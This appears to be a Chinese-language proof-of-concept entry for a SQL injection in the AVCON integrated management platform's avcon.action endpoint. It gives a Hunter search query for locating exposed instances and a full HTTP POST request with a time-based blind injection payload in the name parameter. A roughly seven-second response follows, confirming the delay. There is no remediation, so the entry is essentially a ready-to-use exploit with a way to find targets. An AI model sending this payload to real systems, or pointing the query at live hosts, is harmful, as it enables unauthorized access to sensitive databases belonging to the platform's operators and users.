# A9-1Avcon-综合管理平台-SQL

# 漏洞描述:

avcon综合管理平台avcon.action存在SOL注入漏洞,攻击者可通过该漏洞获取数据库敏感数据。

#### 网站图片:



### 网络测绘:

#### Hunter 语法:

web.title="AVCON-系统管理平台"

# 漏洞复现:

#### payload:

POST /avcon.action HTTP/1.1

Upgrade-Insecure-Requests: 1

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, \*/\*; q=0.8, application/signed-exchange; v=b3; q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN, zh; q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

 $\verb|name=0'XOR(if(now()=sysdate() &2Csleep(7) &2C0))XOR'Z&password=u]H[ww6KrA9F.x-F]|$ 

```
Responses 92bytes / 7301ms
                                                          美化 Q 🥡 详情
          HTTP/1.1 · 200 · OK
      2
           Server: Apache-Coyote/1.1
           Set-Cookie: JSESSIONID=08ED120C56F21134F6AF4F339AC8710D; Path=/
      3
      4
           Pragma: No-cache
      5
           Cache-Control: no-cache
           Expires: Thu, 01 Jan 1970 00:00:00 GMT
       6
           Content-Type: text/plain; charset=utf-8
      8
           Date: Thu, 23 Nov 2023 03:32:18 GMT
      9
           Connection: close
      10
           Content-Length: 92
      11
效果图:
```